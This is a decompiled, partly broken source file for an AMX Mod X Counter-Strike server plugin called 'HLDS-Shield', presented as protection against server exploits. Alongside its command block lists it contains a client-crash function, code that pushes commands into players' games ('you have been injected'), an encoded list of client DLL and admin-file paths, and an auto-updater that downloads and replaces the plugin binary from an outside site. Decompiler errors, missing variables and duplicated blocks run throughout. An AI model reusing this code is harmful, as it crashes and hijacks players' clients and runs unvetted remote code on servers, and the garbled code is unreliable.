Code:
#include <amxmodx>
#include <amxmisc>
#include <sockets>
#include <orpheu>
#include <cstrike>
#include <fakemeta>
#pragma semicolon 1
#pragma ctrlchar '\'
new Float:g_Flooding[33];
new g_Flood[33];
new Float:SpamBotScannerSTOP[33];
new Float:SpamBotScannerStart[33];
new shield_motdfile;
new shield_rcon_random;
new shield_specbug;
new shield_amxxpause;
new shield_noflood;
new shield_noflood_time;
new shield_ilegalcmd;
new shield_shieldcvar;
new shield_checkerprotection;
new shield_hltv;
new shield_sr_block;
new shield_xfakecrash;
new szip[32];
new shield_checkbackdoor;
new shield_shake;
new szError[64];
new iError;
new shield_ilegalban;
new shield_namebug;
new shield_showip;
new shield_showpw;
new shield_customhpk;
new Regex:g_iPattern;
new shield_radio;
new shield_spambot;
new shield_fakeplayer;
new Trie:ghTrie;
new shield_quit;
new shield_minne;
new shield_steamidhack;
new shield_log;
new shield_cmdbug;
new shield_autobuy;
new shield_fullupdate;
new shield_autolog;
new shield_fullupdate_warn;
new FloodScan[32];
new SVault;
new authid[32];
new authid2[32];
new shield_hlsocks;
new shield_update;
new shield_admin_debug;
new detectType4[312];
new shield_suspicious;
new shield_admim_removepassword;
new shield_name_spammer;
new NameUnLock[33];
new shield_sendmsg;
new __dhud_color;
new __dhud_x;
new __dhud_y;
new __dhud_effect;
new __dhud_fxtime;
new __dhud_holdtime;
new __dhud_fadeintime;
new __dhud_fadeouttime;
new __dhud_reliable;
new HTTP[7][326];
new g_HTTPEntity;
new g_Forward;
new g_iDownloadID;
new g_iPluginID = -1;
new g_DataBuffer[4096];
new Shield_Backdoor[167] =
{
110, 111, 95, 97, 109, 120, 120, 95, 117, 110, 99, 111, 109, 112, 114, 101, 115, 115, 0, 99, 108, 95, 100, 108, 108, 115, 47, 103, 97, 109, 101, 117, 105, 46, 100, 108, 108, 0, 99, 108, 95, 100, 108, 108, 115, 47, 99, 108, 105, 101, 110, 116, 46, 100, 108, 108, 0, 99, 108, 95, 100, 108, 108, 115, 47, 112, 97, 114, 116, 105, 99, 108, 101, 109, 97, 110, 46, 100, 108, 108, 0, 98, 105, 110, 47, 116, 114, 97, 99, 107, 101, 114, 117, 105, 46, 100, 108, 108, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 117, 115, 101, 114, 115, 46, 105, 110, 105, 0, 97, 100, 100, 111, 110, 115, 47, 97, 109, 120, 109, 111, 100, 120, 47, 99, 111, 110, 102, 105, 103, 115, 47, 112, 108, 117, 103, 105, 110, 115, 46, 105, 110, 105, 0
};
new RadioCommand[23][] =
{
"coverme",
"takepoint",
"holdpos",
"regroup",
"followme",
"takingfire",
"go",
"fallback",
"sticktog",
"getingpos",
"stormfront",
"report",
"enemyspot",
"needbackup",
"sectorclear",
"inposition",
"reportingin",
"getout",
"negative",
"enemydown",
"radio1",
"radio2",
"radio3"
};
new IlegalRCONxCVAR[3][] =
{
"amx_cvar",
"amx_rcon",
"amx_showrcon"
};
new ShieldMSGBlock[34][0];
new CheckAMXxSAYSpam[10][] =
{
"amx_say",
"amx_csay",
"amx_psay",
"amx_tsay",
"amx_chat",
"say_team",
"say",
"amx_rcon",
"amx_cvar",
"amx_showrcon"
};
new ShieldServerCvarBlock[15][] =
{
"exit",
"host_killtime",
"addip",
"motdfile",
"motd_write",
"quit",
"shutdownserver",
"user",
"hostname",
"sv_timeout",
"cd",
"motd",
"alias",
"rcon_password",
"stuffcmds"
};
new IlegalBanBugCheck[3][] =
{
"amx_ban",
"amx_addban",
"amx_banip"
};
new PluginStop[15][] =
{
"antiflood.amxx",
"bug_fix.amxx",
"hostpixel-shieldv3.amxx",
"noflood.amxx",
"fix_bugv2.amxx",
"server_protection.amxx",
"serverprotection.amxx",
"llg-functions.amxx",
"functions-2012.amxx",
"rom_protect.amxx",
"rcon_protect.amxx",
"bug_fix_and_anti_flood_by_alkaline.amxx",
"takehost_functions.amxx",
"r4ge-server-guard.amxx",
"WarGods_Shield.amxx"
};
bool:operator>(Float:,Float:)(Float:oper1, Float:oper2)
{
return 0 < floatcmp(oper1, oper2);
}
bool:operator!(Float:)(Float:oper)
{
return oper & -1 == 0;
}
replace_all(String:string[], len, String:what[], String:with[])
{
new pos = 0;
new var1 = contain(string, what);
pos = var1;
if (var1 == -1)
{
return 0;
}
new total = 0;
new with_len = strlen(with);
new diff = strlen(what) - with_len;
new total_len = strlen(string);
new temp_pos = 0;
while (replace(string[pos], len - pos, what, with))
{
pos = with_len + pos;
total_len -= diff;
if (pos >= total_len)
{
return total;
}
else
{
temp_pos = contain(string[pos], what);
if (temp_pos == -1)
{
return total;
}
else
{
pos = temp_pos + pos;
total++;
}
return total;
}
return total;
}
return total;
}
cmd_target(id, String:arg[], flags)
{
!!! Removed Phi
new player = find_player(0, arg);
if (player)
{
if (find_player("blj", arg) != player)
{
console_print(id, "%L", id, "MORE_CL_MATCHT");
return 0;
}
}
else
{
if (var4 && arg[0] == 35 && arg[1])
{
player = find_player("k", str_to_num(arg[1]));
}
}
if (!player)
{
console_print(id, "%L", id, "CL_NOT_FOUND");
return 0;
}
if (flags & 1)
{
if (get_user_flags(player, 0) & 1 && flags & 2)
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CLIENT_IMM", imname);
return 0;
}
}
if (flags & 4)
{
if (!is_user_alive(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
return 0;
}
}
if (flags & 8)
{
if (is_user_bot(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_BOT", imname);
return 0;
}
}
return player;
}
get_configsdir(String:name[], len)
{
return get_localinfo("amxx_configsdir", name, len);
}
ColorChat(id, String:input[])
{
new msg[191];
new players[32];
new count = 1;
vformat(msg, "", input, "");
replace_all(msg, 190, "\g", "\4");
replace_all(msg, 190, "\n", "\1");
replace_all(msg, 190, "\t", "\3");
if (id)
{
players[0] = id;
}
else
{
get_players(players, count, "ch", "");
}
new i = 0;
while (i < count)
{
if (is_user_connected(players[i]))
{
message_begin(8, get_user_msgid("SayText"), "", players[i]);
write_byte(players[i]);
write_string(msg);
message_end();
i++;
}
i++;
}
return 0;
}
UserAccess(id, level, cid, num, bool:accesssilent)
{
!!! Removed Phi
new has_access = 0;
new var1;
if (is_dedicated_server())
{
var1 = 0;
}
else
{
var1 = 1;
}
if (var1 == id)
{
has_access = 1;
}
else
{
if (level == 16777216)
{
if (is_user_admin(id))
{
has_access = 1;
}
}
if (level & get_user_flags(id, 0))
{
has_access = 1;
}
if (level)
{
}
else
{
has_access = 1;
}
}
if (has_access)
{
if (num > read_argc())
{
new hcmd[32];
new hinfo[128];
new hflag = 0;
get_concmd(cid, hcmd, 31, hflag, hinfo, "", level, -1);
return 0;
}
return 1;
}
return 0;
}
bool:is_autobuy_long(String:string[], len)
{
static cmd[512];
while (strlen(string))
{
strtok(string, cmd, "", string, len, 32, "");
if (31 < strlen(cmd))
{
return true;
}
}
return false;
}
CrashExploit(id, String:text[])
{
message_begin("", "MORE_CL_MATCHT", "", id);
write_byte(strlen(text) + 2);
write_byte("");
write_string(text);
message_end();
return 0;
}
client_director(index, String:command[])
{
message_begin("", "", "", index);
write_byte(strlen(command) + 2);
write_byte("");
write_string(command);
message_end();
return 0;
}
client_finale(index)
{
message_begin("", 31, "", index);
write_string("[HLDS-Shield] Ai fost injectat !");
message_end();
return 0;
}
bool:is_user_steam(id)
{
!!! Removed Phi
if (dp_pointer || var3)
{
server_cmd("dp_clientinfo %d", id);
server_exec();
new var2;
if (get_pcvar_num(dp_pointer) == 2)
{
var2 = 1;
}
else
{
var2 = 0;
}
return var2;
}
return false;
}
getUserName(String:info[], size_info, String:name[], size_name)
{
!!! Removed Phi
new pos = 0;
new var2 = containi(info, "\name\");
pos = var2;
if (var2 != -1)
{
pos += 6;
new len = 0;
while (info[pos] != 92 && info[pos] != 34 && len < size_name && pos < size_info)
{
len++;
pos++;
name[len] = info[pos];
}
name[len] = 0;
}
else
{
name[0] = 0;
}
return 0;
}
HTTP_DownloadFile(String:szRemoteFile[], String:szLocalFile[])
{
!!! Removed Phi
new iSlot = 0;
iSlot = 0;
while (iSlot < 7)
{
if (!HTTP[iSlot][0][0][325])
{
new var1;
if (equali(szRemoteFile, "http://", 7))
{
var1 = 7;
}
else
{
var1 = 0;
}
strtok(szRemoteFile[var1], HTTP[iSlot][0][0], 63, HTTP[iSlot][0][0][64], "", 47, 0);
trim(HTTP[iSlot][0][0]);
copy(HTTP[iSlot][0][0][192], "", szLocalFile);
new var3 = fopen(HTTP[iSlot][0][0][192], "wb");
HTTP[iSlot][0][0][320] = var3;
if (!var3)
{
log_amx("HTTP: Error creating local file");
return 0;
}
if (var4 && !iError)
{
new szRequest[217];
if (g_iPluginID == -1)
{
new szFile[64];
new szTmp[1];
get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0);
g_iPluginID = find_plugin_byfile(szFile, 0);
}
if (!g_HTTPEntity)
{
g_HTTPEntity = create_entity("info_target");
entity_set_string(g_HTTPEntity, 0, "http_entity");
entity_set_float(g_HTTPEntity, 7, get_gametime() + 0.01);
if (!g_iDownloadID)
{
register_think("http_entity", "_HTTP_EntityThink");
}
g_Forward = CreateOneForward(g_iPluginID, "HTTP_Download", 2, 0, 0, 0, 0);
}
HTTP[iSlot][0][0][322] = 0;
HTTP[iSlot][0][0][323] = 0;
HTTP[iSlot][0][0][324] = 0;
formatex(szRequest, 216, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", HTTP[iSlot][0][0][64], HTTP[iSlot][0][0]);
socket_send(HTTP[iSlot][0][0][321], szRequest, "");
g_iDownloadID += 1;
new var5 = g_iDownloadID;
HTTP[iSlot][0][0][325] = var5;
return var5;
}
log_amx("HTTP: Error creating socket [Error=%d]", iError);
return 0;
}
else
{
if (iSlot == 6)
{
return 0;
}
iSlot++;
}
new var1;
if (equali(szRemoteFile, "http://", 7))
{
var1 = 7;
}
else
{
var1 = 0;
}
strtok(szRemoteFile[var1], HTTP[iSlot][0][0], 63, HTTP[iSlot][0][0][64], "", 47, 0);
trim(HTTP[iSlot][0][0]);
copy(HTTP[iSlot][0][0][192], "", szLocalFile);
new var3 = fopen(HTTP[iSlot][0][0][192], "wb");
HTTP[iSlot][0][0][320] = var3;
if (!var3)
{
log_amx("HTTP: Error creating local file");
return 0;
}
if (var4 && !iError)
{
new szRequest[217];
if (g_iPluginID == -1)
{
new szFile[64];
new szTmp[1];
get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0);
g_iPluginID = find_plugin_byfile(szFile, 0);
}
if (!g_HTTPEntity)
{
g_HTTPEntity = create_entity("info_target");
entity_set_string(g_HTTPEntity, 0, "http_entity");
entity_set_float(g_HTTPEntity, 7, get_gametime() + 0.01);
if (!g_iDownloadID)
{
register_think("http_entity", "_HTTP_EntityThink");
}
g_Forward = CreateOneForward(g_iPluginID, "HTTP_Download", 2, 0, 0, 0, 0);
}
HTTP[iSlot][0][0][322] = 0;
HTTP[iSlot][0][0][323] = 0;
HTTP[iSlot][0][0][324] = 0;
formatex(szRequest, 216, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", HTTP[iSlot][0][0][64], HTTP[iSlot][0][0]);
socket_send(HTTP[iSlot][0][0][321], szRequest, "");
g_iDownloadID += 1;
new var5 = g_iDownloadID;
HTTP[iSlot][0][0][325] = var5;
return var5;
}
log_amx("HTTP: Error creating socket [Error=%d]", iError);
return 0;
}
new var1;
if (equali(szRemoteFile, "http://", 7))
{
var1 = 7;
}
else
{
var1 = 0;
}
strtok(szRemoteFile[var1], HTTP[iSlot][0][0], 63, HTTP[iSlot][0][0][64], "", 47, 0);
trim(HTTP[iSlot][0][0]);
copy(HTTP[iSlot][0][0][192], "", szLocalFile);
new var3 = fopen(HTTP[iSlot][0][0][192], "wb");
HTTP[iSlot][0][0][320] = var3;
if (!var3)
{
log_amx("HTTP: Error creating local file");
return 0;
}
if (var4 && !iError)
{
new szRequest[217];
if (g_iPluginID == -1)
{
new szFile[64];
new szTmp[1];
get_plugin(-1, szFile, 63, szTmp, 0, szTmp, 0, szTmp, 0, szTmp, 0);
g_iPluginID = find_plugin_byfile(szFile, 0);
}
if (!g_HTTPEntity)
{
g_HTTPEntity = create_entity("info_target");
entity_set_string(g_HTTPEntity, 0, "http_entity");
entity_set_float(g_HTTPEntity, 7, get_gametime() + 0.01);
if (!g_iDownloadID)
{
register_think("http_entity", "_HTTP_EntityThink");
}
g_Forward = CreateOneForward(g_iPluginID, "HTTP_Download", 2, 0, 0, 0, 0);
}
HTTP[iSlot][0][0][322] = 0;
HTTP[iSlot][0][0][323] = 0;
HTTP[iSlot][0][0][324] = 0;
formatex(szRequest, 216, "GET /%s HTTP/1.1\r\nHost: %s\r\n\r\n", HTTP[iSlot][0][0][64], HTTP[iSlot][0][0]);
socket_send(HTTP[iSlot][0][0][321], szRequest, "");
g_iDownloadID += 1;
new var5 = g_iDownloadID;
HTTP[iSlot][0][0][325] = var5;
return var5;
}
log_amx("HTTP: Error creating socket [Error=%d]", iError);
return 0;
}
public _HTTP_EntityThink(iEntity)
{
!!! Removed Phi
static iRet;
static iActiveSlots;
static iDataStart;
static iDataBlocks;
static iSlot;
if (g_HTTPEntity != iEntity)
{
return 0;
}
iActiveSlots = 0;
iSlot = 0;
while (iSlot < 7)
{
if (HTTP[iSlot][0][0][325])
{
iActiveSlots += 1;
if (socket_change(HTTP[iSlot][0][0][321], 0))
{
new var2 = socket_recv(HTTP[iSlot][0][0][321], g_DataBuffer, "");
iDataBlocks = var2;
if (var2)
{
if (var3 == 1 && var4 > -1)
{
new iContentLength = strfind(g_DataBuffer, "Content-Length: ", 0, 0);
if (iContentLength > -1)
{
new iSizeEnd = strfind(g_DataBuffer[iContentLength + 16], "\r\n", 0, 0);
if (iSizeEnd > -1)
{
g_DataBuffer[iSizeEnd] = 0;
HTTP[iSlot][0][0][324] = str_to_num(g_DataBuffer[iContentLength + 16]);
}
}
iDataStart = iDataStart + 4;
}
else
{
iDataStart = 0;
}
new var5 = HTTP[iSlot][0][0][323];
var5 = fwrite_blocks(HTTP[iSlot][0][0][320], g_DataBuffer[iDataStart], iDataBlocks - iDataStart, "") + var5;
ExecuteForward(g_Forward, iRet, HTTP[iSlot][0][0][192], HTTP[iSlot][0][0][325], HTTP[iSlot][0][0][323], HTTP[iSlot][0][0][324], 0);
iSlot += 1;
}
ExecuteForward(g_Forward, iRet, HTTP[iSlot][0][0][192], HTTP[iSlot][0][0][325], HTTP[iSlot][0][0][323], HTTP[iSlot][0][0][324], 1);
fclose(HTTP[iSlot][0][0][320]);
socket_close(HTTP[iSlot][0][0][321]);
iActiveSlots += -1;
HTTP[iSlot][0][0][325] = 0;
iSlot += 1;
}
iSlot += 1;
}
iSlot += 1;
}
if (iActiveSlots)
{
entity_set_float(g_HTTPEntity, 7, get_gametime() + 0.01);
}
else
{
entity_set_int(g_HTTPEntity, "", 2.00/*1073741824*/);
call_think(g_HTTPEntity);
g_HTTPEntity = 0;
DestroyForward(g_Forward);
g_Forward = 0;
}
return 0;
}
set_dhudmessage(red, green, blue, Float:x, Float:y, effects, Float:fxtime, Float:holdtime, Float:fadeintime, Float:fadeouttime, bool:reliable)
{
__dhud_color = clamp(red, 0, 255) << 16 + clamp(green, 0, 255) << 8 + clamp(blue, 0, 255);
__dhud_x = x;
__dhud_y = y;
__dhud_effect = effects;
__dhud_fxtime = fxtime;
__dhud_holdtime = holdtime;
__dhud_fadeintime = fadeintime;
__dhud_fadeouttime = fadeouttime;
__dhud_reliable = reliable;
return 1;
}
public check_fakeplayer(id)
{
!!! Removed Phi
static jucip[32];
static ip[32];
new count = 0;
get_user_ip(id, jucip, 31, "");
new i = 1;
while (i < 32)
{
if (i != id && is_user_connected(i))
{
get_user_ip(i, ip, 31, "");
if (equali(jucip, ip, 0))
{
count++;
i++;
}
i++;
}
i++;
}
return count;
}
show_dhudmessage(index, String:message[])
{
!!! Removed Phi
new buffer[128];
new numArguments = numargs();
if (numArguments == 2)
{
send_dhudMessage(index, message);
}
else
{
if (index || numArguments == 3)
{
vformat(buffer, "", message, "");
send_dhudMessage(index, buffer);
}
new playersList[32];
new numPlayers = 0;
get_players(playersList, numPlayers, "ch", "");
if (!numPlayers)
{
return 0;
}
new Array:handleArrayML = ArrayCreate("", 32);
new i = 2;
new j = 0;
while (i < numArguments)
{
if (getarg(i, 0) == -1)
{
do {
j++;
new var2 = getarg(i + 1, j);
buffer[j] = var2;
} while (var2);
j = 0;
if (GetLangTransKey(buffer) != -1)
{
i++;
ArrayPushCell(handleArrayML, i);
i++;
}
i++;
}
i++;
}
new size = ArraySize(handleArrayML);
if (!size)
{
vformat(buffer, "", message, "");
send_dhudMessage(index, buffer);
}
else
{
new i = 0;
new j = 0;
while (i < numPlayers)
{
index = playersList[i];
j = 0;
while (j < size)
{
setarg(ArrayGetCell(handleArrayML, j), 0, index);
j++;
}
vformat(buffer, "", message, "");
send_dhudMessage(index, buffer);
i++;
}
}
ArrayDestroy(handleArrayML);
}
return 1;
}
Shake_Player(id, Float:Seconds)
{
message_begin("", get_user_msgid("ScreenShake"), "", id);
write_short(floatround(Seconds * 4096.00, 0));
write_short(floatround(Seconds * 4096.00, 0));
write_short("");
message_end();
return 0;
}
ScreenFade(id, iRed, iGreen, iBlue, iAlpha)
{
message_begin("", get_user_msgid("ScreenFade"), "", id);
write_short("");
write_short("");
write_short("");
write_byte(iRed);
write_byte(iGreen);
write_byte(iBlue);
write_byte(iAlpha);
message_end();
return 0;
}
send_dhudMessage(index, String:message[])
{
new var2;
if (__dhud_reliable)
{
new var1;
if (index)
{
var1 = 1;
}
else
{
var1 = 2;
}
/ * ERROR! Unable to cast object of type 'Lysis.DSentinel' to type 'Lysis.DReturn'. * /
function "send_dhudMessage"
send_dhudMessage(index, String:message[])
SHIELD_BANPLAYER(id)
{
PlayerIPBAN(id);
server_cmd("addip 15.0 %s", Heap_128);
return 0;
}
public SHIELD_SUSPICIOUS(id)
{
PlayerIPBAN(id);
server_cmd("addip 1.0 %s", Heap_128);
return 0;
}
PlayerName(id)
{
new PlayerName[32];
get_user_name(id, PlayerName, 31);
/ * ERROR! Object reference not set to an instance of an object. * /
function "PlayerName"
PlayerName(id)
PlayerName_P(player)
{
new PlayerName[32];
get_user_name(player, PlayerName, 31);
/ * ERROR! Object reference not set to an instance of an object. * /
function "PlayerName_P"
PlayerName_P(player)
PlayerIPBAN(id)
{
new PlayerIPBAN[32];
get_user_ip(id, PlayerIPBAN, 31, "");
/ * ERROR! Object reference not set to an instance of an object. * /
function "PlayerIPBAN"
PlayerIPBAN(id)
PlayerIP(id)
{
new PlayerIP[32];
get_user_ip(id, PlayerIP, 31, 0);
/ * ERROR! Object reference not set to an instance of an object. * /
function "PlayerIP"
PlayerIP(id)
GetUserID(id)
{
new GetID = 0;
GetID = get_user_userid(id);
return GetID;
}
BlockSound(id)
{
if (get_pcvar_num(shield_sendmsg) == 1)
{
client_director(id, "spk \"doop detected\"");
}
else
{
client_cmd(id, "spk \"doop detected\"");
}
return 0;
}
public plugin_load_fast()
{
register_plugin("HLDS-Shield", "1.0.6 [D]", "SkillartzHD");
register_cvar("shield_version", "1.0.6", 324, 0);
set_task(3.00/*1077936128*/, "UpdatePlugin", 0, "", 0, "", 0);
return 0;
}
public PluginPrecacheFix()
{
server_cmd("sv_allowdownload 1");
precache_generic("gfx/HLDS_ShieldUp.wad");
if (file_exists("addons/amxmodx/configs/orpheu/functions/SV_ConnectClient"))
{
OrpheuRegisterHook(OrpheuGetFunction("SV_ConnectClient", ""), "SHIELD_ConnectClient", 0);
}
else
{
HTTP_DownloadFile("zanyxproject.pw/final/file/new_orpheu/SV_ClientConnect.md5", "addons/amxmodx/configs/orpheu/functions/SV_ConnectClient");
log_amx("Please wait 25 seconds to repair the plugin");
set_task(25.00/*1103626240*/, "shield_repair", 0, "", 0, "", 0);
}
return 0;
}
public plugin_precache()
{
ReplaceSWDS();
cvar_init();
PluginPrecacheFix();
command_init();
return 0;
}
public ReplaceSWDS()
{
if (file_exists("addons/amxmodx/configs/orpheu/memory/engineString"))
{
OrpheuMemoryReplace("engineString", 0, "motd_write", "motd_write\n");
OrpheuMemoryReplace("engineString", 0, "cd", "cd\n");
OrpheuMemoryReplace("engineString", 0, "shutdownserver", "shutdownserver\n");
OrpheuMemoryReplace("engineString", 0, "say", "say\n");
register_srvcmd("shutdownserver", "SHIELD_HookEngine", -1, "");
register_srvcmd("motd_write", "SHIELD_HookEngine", -1, "");
register_srvcmd("cd", "SHIELD_HookEngine", -1, "");
register_srvcmd("say", "SHIELD_ReverseSay", -1, "");
}
else
{
HTTP_DownloadFile("zanyxproject.pw/final/file/new_orpheu/engineString.md5", "addons/amxmodx/configs/orpheu/memory/engineString");
log_amx("Please wait 25 seconds to repair the plugin");
set_task(25.00/*1103626240*/, "shield_repair", 0, "", 0, "", 0);
}
return 0;
}
public plugin_init()
{
plugin_load_fast();
SHIELD_init();
SHIELD_CheckBackdoor();
return 0;
}
public cvar_init()
{
register_cvar("shield_minnewb", "www.alphacs.ro", 0, 0);
shield_customhpk = register_cvar("shield_customhpk", "1", 0, 0);
shield_motdfile = register_cvar("shield_motdfile", "1", 0, 0);
shield_rcon_random = register_cvar("shield_rcon_random", "1", 0, 0);
shield_autolog = register_cvar("shield_autolog", "1", 0, 0);
shield_autobuy = register_cvar("shield_autobuy", "1", 0, 0);
shield_fullupdate = register_cvar("shield_fullupdate", "1", 0, 0);
shield_fullupdate_warn = register_cvar("shield_fullupdate_warn", "5", 0, 0);
shield_amxxpause = register_cvar("shield_amxxpause", "1", 0, 0);
shield_cmdbug = register_cvar("shield_cmdbug", "1", 0, 0);
shield_noflood = register_cvar("shield_noflood", "1", 0, 0);
shield_steamidhack = register_cvar("shield_steamidhack", "1", 0, 0);
shield_log = register_cvar("shield_log", "1", 0, 0);
shield_hlsocks = register_cvar("shield_hlsocks", "1", 0, 0);
shield_fakeplayer = register_cvar("shield_fakeplayer", "1", 0, 0);
shield_ilegalcmd = register_cvar("shield_ilegalcmd", "1", 0, 0);
shield_minne = register_cvar("shield_minne", "1", 0, 0);
shield_quit = register_cvar("shield_quit", "1", 0, 0);
shield_name_spammer = register_cvar("shield_name_spammer", "1", 0, 0);
shield_ilegalban = register_cvar("shield_ilegalban", "1", 0, 0);
shield_namebug = register_cvar("shield_namebug", "1", 0, 0);
shield_spambot = register_cvar("shield_spambot", "1", 0, 0);
shield_checkerprotection = register_cvar("shield_checkerprotection", "1", 0, 0);
shield_noflood_time = register_cvar("shield_noflood_time", "0.75", 0, 0);
shield_showpw = register_cvar("shield_showpw", "1", 0, 0);
shield_shieldcvar = register_cvar("shield_shieldcvar", "1", 0, 0);
shield_showip = register_cvar("shield_showip", "1", 0, 0);
shield_radio = register_cvar("shield_radio", "1", 0, 0);
shield_specbug = register_cvar("shield_specbug", "1", 0, 0);
shield_checkbackdoor = register_cvar("shield_checkbackdoor", "1", 0, 0);
shield_suspicious = register_cvar("shield_suspicious", "1", 0, 0);
shield_shake = register_cvar("shield_shake", "1", 0, 0);
shield_hltv = register_cvar("shield_hltv", "1", 0, 0);
shield_xfakecrash = register_cvar("shield_xfakecrash", "1", 0, 0);
shield_sr_block = register_cvar("shield_sr_block", "1", 0, 0);
shield_update = register_cvar("shield_update", "1", 0, 0);
shield_admin_debug = register_cvar("shield_admin_debug", "1", 0, 0);
shield_admim_removepassword = register_cvar("shield_admim_removepassword", "0", 0, 0);
shield_sendmsg = register_cvar("shield_sendmsg", "1", 0, 0);
server_cmd("exec addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.cfg");
return 0;
}
public UpdatePlugin()
{
if (get_pcvar_num(shield_update) == 1)
{
HTTP_DownloadFile("zanyxproject.pw/final/file/HLDS-Verificare.md5", "addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Verificare.md5");
set_task(10.00/*1092616192*/, "safe_download", 0, "", 0, "", 0);
}
return 0;
}
public safe_download()
{
if (2882 <= file_size("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Verificare.md5", 0))
{
if (!(file_exists("gfx/HLDS_ShieldUp.wad")))
{
HTTP_DownloadFile("zanyxproject.pw/final/file/HLDS_ShieldUp.wad", "gfx/HLDS_ShieldUp.wad");
}
HTTP_DownloadFile("zanyxproject.pw/final/file/HLDS-UpdateLog.md5", "addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-UpdateLog.txt");
HTTP_DownloadFile("zanyxproject.pw/final/file/HLDS-Shield.amxx", "addons/amxmodx/plugins/HLDS-Shield.amxx");
HTTP_DownloadFile("zanyxproject.pw/final/file/plugins-shield.md5", "addons/amxmodx/configs/plugins-shield.ini");
}
else
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Do not make the connection server", "[HLDS-Shield]");
delete_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Verificare.md5");
}
return 0;
}
public command_init()
{
new i = 0;
while (i < 3)
{
register_clcmd(IlegalBanBugCheck[i][0][0], "SHIELD_BANCMD", 8, "", -1);
i++;
}
new i = 0;
while (i < 23)
{
register_clcmd(RadioCommand[i][0][0], "SHIELD_RADIO_BLOCK", -1, "", -1);
i++;
}
new i = 0;
while (i < 10)
{
register_clcmd(CheckAMXxSAYSpam[i][0][0], "SHIELD_CHATSPAM", -1, "", -1);
i++;
}
new i = 0;
while (i < 3)
{
register_clcmd(IlegalRCONxCVAR[i][0][0], "SHIELD_CVARCHECK", "", "", -1);
i++;
}
new i = 0;
while (i < 3)
{
register_clcmd(IlegalRCONxCVAR[i][0][0], "SHIELD_RCONxCVAR", "", "", -1);
i++;
}
register_srvcmd("hlds_version", "SHIELD_VERSIONUPDATE", -1, "");
register_concmd("amx_hlshowip", "SHIELD_GetUser", 262144, "", -1);
register_concmd("amx_minne", "SHIELD_ANTIGUARD", 262144, "", -1);
register_concmd("amx_hlquit", "SHIELD_QUIT", 16, "", -1);
register_concmd("amx_shake", "SHIELD_SHAKE", 16, "", -1);
register_concmd("amx_unshake", "SHIELD_STOPSHAKE", 16, "", -1);
register_clcmd("fullupdate", "SHIELD_ANTIFULLUPDATE", -1, "", -1);
register_clcmd("jointeam", "SHIELD_SPECBUG", -1, "", -1);
register_clcmd(" ", "SHIELD_ClientDebug", -1, "", -1);
register_clcmd("mm_plugins", "SHIELD_ClientDebug", -1, "", -1);
register_clcmd("cl_setautobuy", "SHIELD_ANTIAUTOBUY", -1, "", -1);
register_clcmd("amx_showrcon", "SHIELD_SR_Block", -1, "", -1);
return 0;
}
public SHIELD_ClientDebug(id)
{
console_print(id, "%s This command is blocked", "[HLDS-Shield]");
return 1;
}
public SHIELD_init()
{
server_cmd("exec addons/amxmodx/configs/[H][L][D][S]-Shield/%s.cfg", "HLDS-Shield");
register_forward("", "SHIELD_NAMEBUGONSV", 0);
register_forward("", "SHIELD_FakePlayerDetector", "");
register_forward("", "SHIELD_CheckError", 0);
register_forward(120, "SHIELD_CheckError", 0);
set_task(120.00/*1123024896*/, "SHIELD_RCONPASSWORD", 0, "", 0, "b", 0);
set_task(2.00/*1073741824*/, "debug_info", 0, "", 0, "", 0);
mkdir("gfx");
mkdir("addons/amxmodx/configs/[H][L][D][S]-Shield");
mkdir("addons/amxmodx/configs/orpheu/functions");
ReplaceSWDS();
if (get_pcvar_num(shield_motdfile) == 1)
{
OrpheuMemoryReplace("engineString", 0, "motdfile", "motdfile\n");
register_srvcmd("motdfile", "SHIELD_HookEngine", -1, "");
}
else
{
register_srvcmd("motdfile", "SHIELD_HookEngine_debug", -1, "");
}
g_iPattern = regex_compile("[+]", iError, szError, 63, "i");
ghTrie = TrieCreate();
SVault = nvault_open("SteamHackDetector");
return 0;
}
public SHIELD_HookEngine_debug()
{
server_print("%s To work please restart server", "[HLDS-Shield]");
return 0;
}
public SHIELD_HookEngine()
{
if (get_pcvar_num(shield_log) == 1)
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Command blocked for %s", "[HLDS-Shield]", "CSTRIKE_HLDSBUG");
}
return 0;
}
public SHIELD_ReverseSay()
{
new hostname[64];
new msg[32];
get_user_name(0, hostname, 63);
read_args(msg, 31);
remove_quotes(msg);
new i = 0;
while (i < 34)
{
if (containi(msg, ShieldMSGBlock[i][0][0]) != -1)
{
if (get_pcvar_num(shield_log) == 1)
{
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Character blocked for %s (%s)", "[HLDS-Shield]", "CSTRIKE_CRASH", msg);
}
return 1;
}
i++;
}
server_print("(Server-Console) %s : %s", hostname, msg);
ColorChat(0, "\4(Server-Console)\1 %s : %s", hostname, msg);
return 0;
}
public debug_info()
{
!!! Removed Phi
new Float:ft = engfunc("");
new it = floatround(ft, 0);
new seconds = it;
new minutes = it / 60;
new hours = it / 3600;
new day = it / 86400;
new AMXXVersion[32];
new RCONName[32];
new DPName[32];
if (!equal("SkillartzHD", "SkillartzHD", 0))
{
set_fail_state("Copyright false");
}
if (get_pcvar_num(shield_rcon_random) == 1)
{
SHIELD_RCONPASSWORD();
}
if (!(find_plugin_byfile("HLDS-Shield.amxx", "") != -1))
{
UpdatePlugin();
log_to_file("addons/amxmodx/configs/[H][L][D][S]-Shield/HLDS-Shield.ini", "%s Please change plugin in \"HLDS-Shield.amxx\"", "[HLDS-Shield]");
log_amx("Please wait 25 seconds to repair the plugin");
